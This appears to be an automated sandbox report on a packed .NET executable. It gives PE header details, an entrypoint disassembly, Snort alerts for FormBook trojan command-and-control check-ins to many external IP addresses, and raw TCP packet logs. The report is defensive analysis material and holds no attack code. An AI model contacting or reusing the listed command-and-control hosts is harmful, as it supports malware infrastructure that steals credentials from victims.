Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd4ad4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd6000	0x54c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xd3600	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd2b34	0xd2c00	6548e693a19a827b95b04bc342529d94	False	0.8483339357206405	data	7.729262994799031	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd6000	0x54c	0x600	bcd9d69e68ed39b0c49cb550cc20ab77	False	0.4192708333333333	data	4.564993780646928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd8000	0xc	0x200	c935d72cc54b86ab8abc93a5b89b1f53	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xd60a0	0x2f8	data			0.45921052631578946
RT_MANIFEST	0xd6398	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators			0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/09/24-12:11:31.166546	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49767	80	192.168.2.9	94.130.217.114
07/09/24-12:09:32.817975	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49733	80	192.168.2.9	188.114.97.3
07/09/24-12:08:47.740793	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49720	80	192.168.2.9	188.114.96.3
07/09/24-12:10:48.702397	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49755	80	192.168.2.9	142.250.185.147
07/09/24-12:11:16.679042	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49763	80	192.168.2.9	38.145.202.186
07/09/24-12:09:47.673365	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49737	80	192.168.2.9	188.114.96.3
07/09/24-12:10:21.548355	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49747	80	192.168.2.9	162.254.38.56
07/09/24-12:10:40.838976	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49752	80	192.168.2.9	142.250.185.147
07/09/24-12:08:35.398619	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49717	80	192.168.2.9	103.42.108.46
07/09/24-12:10:07.968762	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49743	80	192.168.2.9	154.12.34.252
07/09/24-12:10:13.803996	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49744	80	192.168.2.9	162.254.38.56
07/09/24-12:10:27.367616	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49748	80	192.168.2.9	5.252.229.221
07/09/24-12:08:55.539602	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49723	80	192.168.2.9	188.114.96.3
07/09/24-12:11:23.430709	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49764	80	192.168.2.9	94.130.217.114
07/09/24-12:10:00.222302	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49740	80	192.168.2.9	154.12.34.252
07/09/24-12:11:11.535008	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49761	80	192.168.2.9	38.145.202.186
07/09/24-12:10:35.094051	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49751	80	192.168.2.9	5.252.229.221
07/09/24-12:11:45.068161	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49771	80	192.168.2.9	84.32.84.32
07/09/24-12:08:50.338513	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49721	80	192.168.2.9	188.114.96.3
07/09/24-12:10:16.382255	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49745	80	192.168.2.9	162.254.38.56
07/09/24-12:08:40.543474	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49719	80	192.168.2.9	103.42.108.46
07/09/24-12:09:24.363900	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49731	80	192.168.2.9	35.212.86.52
07/09/24-12:10:43.430684	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49753	80	192.168.2.9	142.250.185.147
07/09/24-12:09:05.318239	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49725	80	192.168.2.9	134.122.138.60
07/09/24-12:09:30.239032	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49732	80	192.168.2.9	188.114.97.3
07/09/24-12:09:16.606161	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49728	80	192.168.2.9	35.212.86.52
07/09/24-12:09:38.004077	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49735	80	192.168.2.9	188.114.97.3
07/09/24-12:10:02.804055	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49741	80	192.168.2.9	154.12.34.252
07/09/24-12:10:54.515112	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49756	80	192.168.2.9	185.181.104.242
07/09/24-12:11:37.104571	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49768	80	192.168.2.9	84.32.84.32
07/09/24-12:09:19.190131	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49729	80	192.168.2.9	35.212.86.52
07/09/24-12:11:02.820585	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49759	80	192.168.2.9	185.181.104.242
07/09/24-12:11:39.911847	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49769	80	192.168.2.9	84.32.84.32
07/09/24-12:09:10.495852	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49727	80	192.168.2.9	134.122.138.60
07/09/24-12:11:08.956190	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49760	80	192.168.2.9	38.145.202.186
07/09/24-12:11:25.996162	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49765	80	192.168.2.9	94.130.217.114
07/09/24-12:09:52.842522	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49739	80	192.168.2.9	188.114.96.3
07/09/24-12:09:45.087320	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49736	80	192.168.2.9	188.114.96.3
07/09/24-12:10:29.937727	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49749	80	192.168.2.9	5.252.229.221
07/09/24-12:10:57.095264	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49757	80	192.168.2.9	185.181.104.242
07/09/24-12:08:11.644897	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49715	80	192.168.2.9	142.250.185.211
07/09/24-12:08:32.822233	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49716	80	192.168.2.9	103.42.108.46
07/09/24-12:09:02.725888	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	49724	80	192.168.2.9	134.122.138.60

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 9, 2024 12:08:11.618149042 CEST	49715	80	192.168.2.9	142.250.185.211
Jul 9, 2024 12:08:11.623234034 CEST	80	49715	142.250.185.211	192.168.2.9
Jul 9, 2024 12:08:11.623306036 CEST	49715	80	192.168.2.9	142.250.185.211
Jul 9, 2024 12:08:11.644896984 CEST	49715	80	192.168.2.9	142.250.185.211
Jul 9, 2024 12:08:11.649848938 CEST	80	49715	142.250.185.211	192.168.2.9
Jul 9, 2024 12:08:12.352881908 CEST	80	49715	142.250.185.211	192.168.2.9
Jul 9, 2024 12:08:12.352966070 CEST	80	49715	142.250.185.211	192.168.2.9
Jul 9, 2024 12:08:12.353018045 CEST	49715	80	192.168.2.9	142.250.185.211
Jul 9, 2024 12:08:12.363514900 CEST	49715	80	192.168.2.9	142.250.185.211
Jul 9, 2024 12:08:12.368686914 CEST	80	49715	142.250.185.211	192.168.2.9
Jul 9, 2024 12:08:32.792679071 CEST	49716	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:32.797666073 CEST	80	49716	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:32.797813892 CEST	49716	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:32.822232962 CEST	49716	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:32.827270031 CEST	80	49716	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:33.693687916 CEST	80	49716	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:33.693970919 CEST	80	49716	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:33.694196939 CEST	49716	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:34.325237036 CEST	49716	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:35.363758087 CEST	49717	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:35.369292021 CEST	80	49717	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:35.369448900 CEST	49717	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:35.398618937 CEST	49717	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:35.405355930 CEST	80	49717	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:36.267995119 CEST	80	49717	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:36.268017054 CEST	80	49717	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:36.268219948 CEST	49717	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:36.906497002 CEST	49717	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:37.940391064 CEST	49718	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:37.945522070 CEST	80	49718	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:37.945630074 CEST	49718	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:37.977267981 CEST	49718	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:37.982181072 CEST	80	49718	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:37.982296944 CEST	80	49718	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:38.824285984 CEST	80	49718	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:38.824337006 CEST	80	49718	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:38.824490070 CEST	49718	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:39.483403921 CEST	49718	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:40.518070936 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:40.523190022 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:40.523293018 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:40.543473959 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:40.548510075 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443200111 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443227053 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443243027 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443346024 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443361998 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443377972 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443394899 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443579912 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.443645954 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.443748951 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443764925 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443783045 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.443825006 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.443875074 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.448679924 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.448813915 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.448843956 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.448926926 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.661278963 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661304951 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661320925 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661336899 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661381960 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661397934 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661576986 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.661586046 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661603928 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.661668062 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.662065983 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.662142992 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.662158012 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.662203074 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.662353039 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.662368059 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.662408113 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.662959099 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.663019896 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.663045883 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.663062096 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.663116932 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.663259983 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.663275003 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.663392067 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.663919926 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.664001942 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.664016962 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.664062977 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.664231062 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.664246082 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.664288998 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.666430950 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.666500092 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.751796007 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.751821995 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.751966000 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.879272938 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879328012 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879344940 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879374981 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.879425049 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879492044 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879513979 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.879627943 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879643917 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879659891 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.879666090 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.879692078 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.879935980 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880062103 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880078077 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880094051 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880100012 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.880110025 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880125046 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880126953 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.880157948 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.880506039 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880553961 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880589962 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.880673885 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880688906 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880706072 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.880723000 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.881455898 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881514072 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.881548882 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881563902 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881580114 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881596088 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881599903 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.881612062 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881628036 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881629944 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.881645918 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881664038 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.881829977 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881846905 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881863117 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.881866932 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.881901026 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.882165909 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882181883 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882196903 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882211924 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882215023 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.882245064 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.882627010 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882642031 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882658005 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882673025 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882678032 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.882689953 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882704973 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.882715940 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.882740021 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.883296967 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883311987 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883327007 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883343935 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883357048 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.883359909 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883375883 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883382082 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.883393049 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.883409977 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.884011984 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.884030104 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.884053946 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.884179115 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:41.884301901 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:41.969871998 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.011029005 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.097639084 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097696066 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097754955 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097789049 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097824097 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097858906 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097870111 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.097894907 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.097932100 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098190069 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098203897 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.098223925 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098259926 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098339081 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.098498106 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098532915 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098566055 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.098568916 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098653078 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.098807096 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098861933 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098896027 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098929882 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098938942 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.098963976 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.098987103 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.098998070 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.099033117 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.099067926 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.099071980 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.099194050 CEST	49719	80	192.168.2.9	103.42.108.46
